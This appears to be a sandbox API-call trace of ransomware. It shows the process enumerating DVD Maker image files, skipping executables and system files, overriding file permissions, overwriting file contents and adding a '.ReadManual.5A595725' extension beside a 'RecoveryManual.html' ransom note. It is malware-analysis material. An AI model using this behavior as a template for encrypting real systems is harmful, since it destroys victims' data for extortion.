lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0252.278] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="circleround_selectionsubpicture.png" | out: lpString1="circleround_selectionsubpicture.png") returned="circleround_selectionsubpicture.png" [0252.278] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.278] StrStrIW (lpFirst="circleround_selectionsubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.278] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.278] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.278] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.278] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.278] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.278] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.278] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" [0252.278] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.ReadManual.5A595725" [0252.278] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.ReadManual.5A595725") returned 103 [0252.278] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37294702719) returned 1 [0252.278] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png")) returned 0x20 [0252.279] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.279] GetLastError () returned 0x5 [0252.279] GetNamedSecurityInfoW () returned 0x0 [0252.279] SetNamedSecurityInfoW () returned 0x0 [0252.280] SetNamedSecurityInfoW () returned 0x0 [0252.281] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.281] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3878) returned 1 [0252.281] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf26, lpName=0x0) returned 0x184 [0252.281] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0252.282] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.282] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.284] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.284] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf26) returned 0x2f0000 [0252.284] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.284] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37295294814) returned 1 [0252.284] CloseHandle (hObject=0x184) returned 1 [0252.284] SetSecurityInfo () returned 0x5 [0252.284] SetSecurityInfo () returned 0x5 [0252.284] LocalFree (hMem=0x674d38) returned 0x0 [0252.284] CloseHandle (hObject=0x194) returned 1 [0252.285] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0252.285] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="circleround_videoinset.png" | out: lpString1="circleround_videoinset.png") returned="circleround_videoinset.png" [0252.285] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="RecoveryManual.html") returned -1 [0252.285] StrStrIW (lpFirst="circleround_videoinset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.285] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.285] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.285] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.285] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.285] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.285] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.286] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.286] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" [0252.286] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.ReadManual.5A595725" [0252.286] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.ReadManual.5A595725") returned 94 [0252.286] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37295441017) returned 1 [0252.286] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png")) returned 0x20 [0252.286] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.286] GetLastError () returned 0x5 [0252.286] GetNamedSecurityInfoW () returned 0x0 [0252.286] SetNamedSecurityInfoW () returned 0x0 [0252.287] SetNamedSecurityInfoW () returned 0x0 [0252.288] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.288] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5059) returned 1 [0252.288] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c3, lpName=0x0) returned 0x184 [0252.288] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0252.289] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.289] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.291] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.291] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c3) returned 0x2f0000 [0252.291] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.291] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37295995276) returned 1 [0252.291] CloseHandle (hObject=0x184) returned 1 [0252.291] SetSecurityInfo () returned 0x5 [0252.291] SetSecurityInfo () returned 0x5 [0252.291] LocalFree (hMem=0x674d38) returned 0x0 [0252.291] CloseHandle (hObject=0x194) returned 1 [0252.292] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.292] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Circle_ButtonGraphic.png" | out: lpString1="Circle_ButtonGraphic.png") returned="Circle_ButtonGraphic.png" [0252.292] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.292] StrStrIW (lpFirst="Circle_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.292] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.292] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.292] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.292] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.292] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.292] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.292] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" [0252.292] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.ReadManual.5A595725" [0252.292] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.ReadManual.5A595725") returned 92 [0252.292] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37296091602) returned 1 [0252.292] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png")) returned 0x20 [0252.292] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.293] GetLastError () returned 0x5 [0252.293] GetNamedSecurityInfoW () returned 0x0 [0252.293] SetNamedSecurityInfoW () returned 0x0 [0252.293] SetNamedSecurityInfoW () returned 0x0 [0252.294] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.295] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27281) returned 1 [0252.295] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a91, lpName=0x0) returned 0x184 [0252.295] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0252.295] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.295] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.297] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.297] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a91) returned 0x2f0000 [0252.298] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.298] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37296666159) returned 1 [0252.298] CloseHandle (hObject=0x184) returned 1 [0252.298] SetSecurityInfo () returned 0x5 [0252.298] SetSecurityInfo () returned 0x5 [0252.298] LocalFree (hMem=0x674d38) returned 0x0 [0252.298] CloseHandle (hObject=0x194) returned 1 [0252.298] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0252.298] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="circle_glass_Thumbnail.bmp" | out: lpString1="circle_glass_Thumbnail.bmp") returned="circle_glass_Thumbnail.bmp" [0252.298] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="RecoveryManual.html") returned -1 [0252.298] StrStrIW (lpFirst="circle_glass_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.298] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0252.298] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0252.298] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0252.298] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0252.298] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0252.298] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0252.299] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0252.299] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0252.299] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0252.299] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0252.299] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0252.299] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0252.299] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0252.299] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0252.299] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" [0252.299] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.ReadManual.5A595725" [0252.299] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.ReadManual.5A595725") returned 94 [0252.299] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37296760392) returned 1 [0252.299] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp")) returned 0x20 [0252.299] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.299] GetLastError () returned 0x5 [0252.299] GetNamedSecurityInfoW () returned 0x0 [0252.299] SetNamedSecurityInfoW () returned 0x0 [0252.300] SetNamedSecurityInfoW () returned 0x0 [0252.301] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.301] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0252.301] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0252.301] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0252.302] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.302] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.304] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.304] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0252.304] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.304] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37297288867) returned 1 [0252.304] CloseHandle (hObject=0x184) returned 1 [0252.304] SetSecurityInfo () returned 0x5 [0252.304] SetSecurityInfo () returned 0x5 [0252.304] LocalFree (hMem=0x674d38) returned 0x0 [0252.308] CloseHandle (hObject=0x194) returned 1 [0252.308] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0252.308] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Circle_SelectionSubpictureA.png" | out: lpString1="Circle_SelectionSubpictureA.png") returned="Circle_SelectionSubpictureA.png" [0252.308] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="RecoveryManual.html") returned -1 [0252.308] StrStrIW (lpFirst="Circle_SelectionSubpictureA.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.308] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.308] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.308] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.308] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.308] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.308] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.308] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" [0252.309] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.ReadManual.5A595725" [0252.309] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.ReadManual.5A595725") returned 99 [0252.309] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37297739539) returned 1 [0252.309] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png")) returned 0x20 [0252.309] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.309] GetLastError () returned 0x5 [0252.309] GetNamedSecurityInfoW () returned 0x0 [0252.309] SetNamedSecurityInfoW () returned 0x0 [0252.310] SetNamedSecurityInfoW () returned 0x0 [0252.311] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.311] GetFileSizeEx (in: hFile=0x194, 